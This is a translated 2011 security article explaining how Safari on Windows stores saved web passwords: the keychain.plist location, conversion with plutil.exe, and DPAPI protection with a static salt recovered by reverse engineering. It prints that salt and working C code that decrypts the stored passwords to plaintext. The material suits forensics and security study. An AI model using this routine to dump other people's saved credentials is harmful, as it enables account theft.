揭秘Safari密码存储的秘密

Table of Contents

原作者:Nagareshwar Talekar,本文已发于《黑客防线》2011.6期

1 前言

Safari浏览器是目前所出浏览器中排在前五名的,它有着新颖的外观和最好的体验感。并且提供了最好的网页浏览方式,而且最大程度地支持HTML5,并还可以体验一些其他的使更好地浏览网页的新功能。

同其他浏览器一样,Safari也带有自带的密码管理功能,它可以安全地存储和管理用户在网页中保存的登录密码。

本文将首次公开Safari密码的存储方式、加密算法以及提供破解存储密码的代码。

Safari存储密码的位置

Safari浏览器拥有良好的密码管理、安全模型和加密算法,以尽可能地保证安全。不像其他浏览器,比如Firefox、Chrome,在Safari中你是无法直接查看保存的密码的。

你可以在“设置——自动填充——用户名和密码”选项中启用或者禁用Safari的密码管理(如下图所示)。一旦启用,Safari将会提示保存用户登录的每个网站的密码。一经确认,用户名和密码将随着网址一同保存在保密的存储密码的文件中。

safari-browser-password-manager-settings.jpg

Safari将所有这些网站的登录密码存储在以下位置的'keychain.plist'文件中(根据所用的平台):

[Windows XP]

C:\Documents and Settings\<username>\Application Data\Apple Computer\Preferences

[Windows Vista & Windows 7]

C:\Users\<username>\AppData\Roaming\Apple Computer\Preferences

Safari存储数据的keychain.plist文件采用的是“Binary Property List”文件格式——它是苹果公司用于存储二进制数据的一种“Property List”文件格式的变种。下图是“keychain”文件的样子:

![safari-encryption-salt-data.jpg)

2 解开“Keychain”文件的秘密

看着上图中“keychain”文件的内容,几乎没有什么可让人理解的数据。不过能暗示你的是,该文件是用“bplist”作为文件开头的关键字。

经过长时间的对“bplist”关键字的搜索,我终于想出了办法将这些内容为转换为纯XML文件。利用苹果提供的“plutil.exe”工具可以将它们转换为“Property List”文件。你可以在以下位置找到基于控制台的工具:

[Windows x86]

C:\Program Files\Common Files\Apple\Apple Application Support

[Windows x64]

C:\Program Files (x86)\Common Files\Apple\Apple Application Support

这条命令便可以将神秘的“keychain.plist”文件转换为易读的“keychain.xml”文件:

plutil.exe -convert xml1 -s -o c:\keychain.xml "c:\users\administrator\appdata\roaming\apple computer\preferences\keychain.plist"

这看起像解码后的XML文件:

safari-keychain-decoded-xml.jpg

3 Safari加密算法的内幕

生成的XML文件中包含了加密后的密码、网址以及用户名信息。存储的密码采用的是BASE64加密算法加密而成的。

不过注意,存储在“keychain.plist”文件中的原密码并没有采用BASE64加密。当我们用工具把它转换成XML文件时,它才会被加密成BASE64格式。

一旦将BASE64解码,就可以看到原来加密后的数据。Safari使用标准的“Windows Data Protection”机制加密用户层的密码。Windows DPAPI提供了像CryptProtectData/CryptUnprotectData函数来轻易加密或者解密数据,比如密码。

Safari使用了CryptProtectData函数与一个静态的Salt结合,对所有网站中保存的登录密码进行加密。最后再将用户的这些登录信息保存在“keychain.plist”文件中。

解码并解密Safari中保存的密码

如上所述,完成整个的解密过程只需要以下两个步骤:

1.将存储在XML文件中的密码数据进行解码。

2.用Windows DPAPI解密数据。

首先你需要使用BASE64解码工具将XML文件中的密码字节解码。

之后我们对这个加密后的数据进行解密。为了解密这个数据,我们必须找到在CryptUnprotectData使用的Salt。这里是我在逆向工程时找到的Salt:

整个Salt生成算法和解密的函数,在苹果提供的共享库“CFNetwork.dll”中,文件位于以下位置:

[Windows x86]

C:\Program Files\Common Files\Apple\Apple Application Support

[Windows x64]

C:\Program Files (x86)\Common Files\Apple\Apple Application
Support

以下是用IDA Pro反汇编CFNetwork.dll中Salt生成和解密函数的调用:

safari-password-disassembly-cfnetwork-dll.jpg

最开始,Salt看起来似乎动态的生成的,但是我在不同的系统中逆向后,我怀疑它只是静态的。Salt是一串144字节的数据和使用“com.apple.Safari”作为结束的尾部。之前的截图中所示。

一旦我们得到了Salt数据,就可以轻易地使用CryptUnprotectData函数解密了,完整的代码如下:

BYTE salt[] = {
0x1D, 0xAC, 0xA8, 0xF8, 0xD3, 0xB8, 0x48, 0x3E, 0x48, 0x7D, 0x3E, 0x0A, 0x62, 0x07, 0xDD, 0x26,
0xE6, 0x67, 0x81, 0x03, 0xE7, 0xB2, 0x13, 0xA5, 0xB0, 0x79, 0xEE, 0x4F, 0x0F, 0x41, 0x15, 0xED,
0x7B, 0x14, 0x8C, 0xE5, 0x4B, 0x46, 0x0D, 0xC1, 0x8E, 0xFE, 0xD6, 0xE7, 0x27, 0x75, 0x06, 0x8B,
0x49, 0x00, 0xDC, 0x0F, 0x30, 0xA0, 0x9E, 0xFD, 0x09, 0x85, 0xF1, 0xC8, 0xAA, 0x75, 0xC1, 0x08,
0x05, 0x79, 0x01, 0xE2, 0x97, 0xD8, 0xAF, 0x80, 0x38, 0x60, 0x0B, 0x71, 0x0E, 0x68, 0x53, 0x77,
0x2F, 0x0F, 0x61, 0xF6, 0x1D, 0x8E, 0x8F, 0x5C, 0xB2, 0x3D, 0x21, 0x74, 0x40, 0x4B, 0xB5, 0x06,
0x6E, 0xAB, 0x7A, 0xBD, 0x8B, 0xA9, 0x7E, 0x32, 0x8F, 0x6E, 0x06, 0x24, 0xD9, 0x29, 0xA4, 0xA5,
0xBE, 0x26, 0x23, 0xFD, 0xEE, 0xF1, 0x4C, 0x0F, 0x74, 0x5E, 0x58, 0xFB, 0x91, 0x74, 0xEF, 0x91,
0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C, 0x65, 0x2E, 0x53, 0x61, 0x66, 0x61, 0x72, 0x69
};

//now decrypt the data
DATA_BLOB DataIn;
DATA_BLOB DataOut;
DATA_BLOB OptionalEntropy;
DataIn.pbData = byteEncBuffer; //encrypted password data
DataIn.cbData = dwEncBufferSize; //encrypted password data size
OptionalEntropy.pbData = (unsigned char*)&salt;
OptionalEntropy.cbData = 144;

if(CryptUnprotectData(&DataIn, 0, &OptionalEntropy, NULL, NULL,0, &DataOut) == FALSE )
{
    printf("CryptUnprotectData failed = 0x%.8x", GetLastError());
    return FALSE;
}

//Decrypted data is in following format
//Password Length [4 bytes] + Pass Data []
BYTE *byteData = (BYTE *) DataOut.pbData;
DWORD dwPassLen = byteData[0];

memcpy(strPassword, &byteData[4], dwPassLen);
strPassword[dwPassLen] = 0;
printf("Decrypted Password %d - %s", dwPassLen, strPassword);

上面的程序初始化了Salt,然后通过CryptUnprotectData进行解码,从而得到解码后的数据。解密后的前4个字节的数据包含了ASCII密码的长度,之后才是明文。

4 使用SafariPasswordDecryptor获得Safari密码

SafariPasswordDecryptor是一款自动获得存储在Safari浏览器中的所保存的网站中的登录密码,它可以自动地解码并解密keychain文件中所存储的信息。

safaripassworddecryptor_article.jpg

并且它同时提供了用户界面和命令行界面,后者更适用于渗透测试人员。它除了可以恢复失去的密码,也可以用于调查取证。SafariPasswordDecryptor运行在Windows平台,从Windows XP到最新的Windows7。